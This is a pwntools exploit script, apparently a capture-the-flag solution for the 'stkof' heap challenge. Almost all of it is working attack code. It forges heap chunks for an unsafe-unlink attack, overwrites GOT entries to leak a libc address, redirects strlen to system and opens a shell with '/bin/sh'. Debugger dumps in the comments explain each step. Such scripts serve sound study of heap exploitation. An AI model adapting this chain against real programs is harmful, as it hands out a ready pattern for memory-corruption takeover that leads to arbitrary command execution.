from pwn import * 

context.log_level='debug'

s=process('./stkof')
e=ELF('./stkof')
l=ELF('/lib/x86_64-linux-gnu/libc.so.6')

def malloc_(size):
	s.sendline('1')
	s.sendline(str(size))
	print s.recv(1024)

def data_input(index,size,data):
	s.sendline('2')
	s.sendline(str(index))
	s.sendline(str(size))
	s.send(data)
	print s.recv(1024)

def free_(index):
	s.sendline('3')
	s.sendline(str(index))
	print s.recvuntil('OK\n')

def misc(index):
	s.sendline('4')
	raw_input()
	s.sendline(str(index))
	raw_input()

if __name__=="__main__":
	
	malloc_(0x28) #index 1
	malloc_(0x28) #index 2 
	malloc_(0x90) #index 3
	malloc_(0x90) #index 4
        malloc_(0x90) #index 5

        #free_(1)

        #Alloc Fake chunk 1
        payload=''
	payload=p64(0x0)
	payload+=p64(0x21)
	payload+=p64(0x602150-0x18) #fd 
	payload+=p64(0x602150-0x10) #bk

	#Fake chunk 2 <- I will free() here
	payload+=p64(0x20) #prev chunk size
	payload+=p64(0x90) #size
	payload+='A'*0x80  #data

	#next free chunk
	payload+=p64(0x90)	
	payload+=p64(0x91)
	payload+='B'*0x80

	#next next free chunk
	payload+=p64(0x90)
	payload+=p64(0x91)

        '''
        FD = P -> fd: FD : 0x6020a8-24(0x602090)
        BK = P -> bk: BK : 0x6020a8-16(0x602098)
        FD -> bk = BK : 0x602090+24=0x602098
        BK -> fd = FD : 0x602098+16=0x602090
        '''

	data_input(2,len(payload),payload) #unsafe_unlink 
	
	free_(3)

	'''
        pwndbg> x/30wx 0x602150
        0x602150:	0x00602138	0x00000000	0x023fc490	0x00000000
        0x602160:	0x023fc530	0x00000000	0x023fc5d0	0x00000000
        0x602170:	0x00000000	0x00000000	0x00000000	0x00000000
        0x602180:	0x00000000	0x00000000	0x00000000	0x00000000
        0x602190:	0x00000000	0x00000000	0x00000000	0x00000000
        0x6021a0:	0x00000000	0x00000000	0x00000000	0x00000000
        0x6021b0:	0x00000000	0x00000000	0x00000000	0x00000000
        0x6021c0:	0x00000000	0x00000000
        '''

	#Now fake chunk 2 is locate 0x602138
        payload2='' 
        payload2='\x00'*0x18 #Move 0x602138 -> 0x602150
        payload2+=p64(e.got['strlen']) #Here is 0x602150
        payload2+=p64(e.got['puts']) #3 chunk 0x602058

        data_input(2,len(payload2),payload2)	

        #Now fake chunk 2 is locate strlen@got()
        payload3=''
        payload3=p64(e.plt['puts']) #strlen@got -> puts@plt

        data_input(2,len(payload3),payload3)

        misc(3) #Already fake chunk 3 is puts@got, When i call strlen, puts(*puts@got)
                #Then i can get puts@libc addr

        '''
        [DEBUG] Received 0xe bytes:
        00000000  90 86 21 4f  6b 7f 0a 2e  2e 2e 0a 4f  4b 0a        │··!O│k··.│..·O│K·│
        0000000e
        '''
        
	puts_libc=u64(s.recv(8))
	puts_libc=puts_libc-0x2e0a000000000000
	system_libc=puts_libc-0x2a300

	print "puts_libc: "+str(hex(puts_libc))
	print "system_libc: "+str(hex(system_libc))

	payload4=''
	payload4='/bin/sh;'
	data_input(5,len(payload4),payload4) #Input "/bin/sh;" in fake chunk 5 

	payload5=''
	payload5=p64(system_libc) #fake chunk 2 is locate strlen, I will change strlen@got to system@libc addr
	
	data_input(2,len(payload5),payload5)

	misc(5) #strlen(fake chunk 5) -> system("/bin/sh;...")
	#Get Shell
	s.interactive()

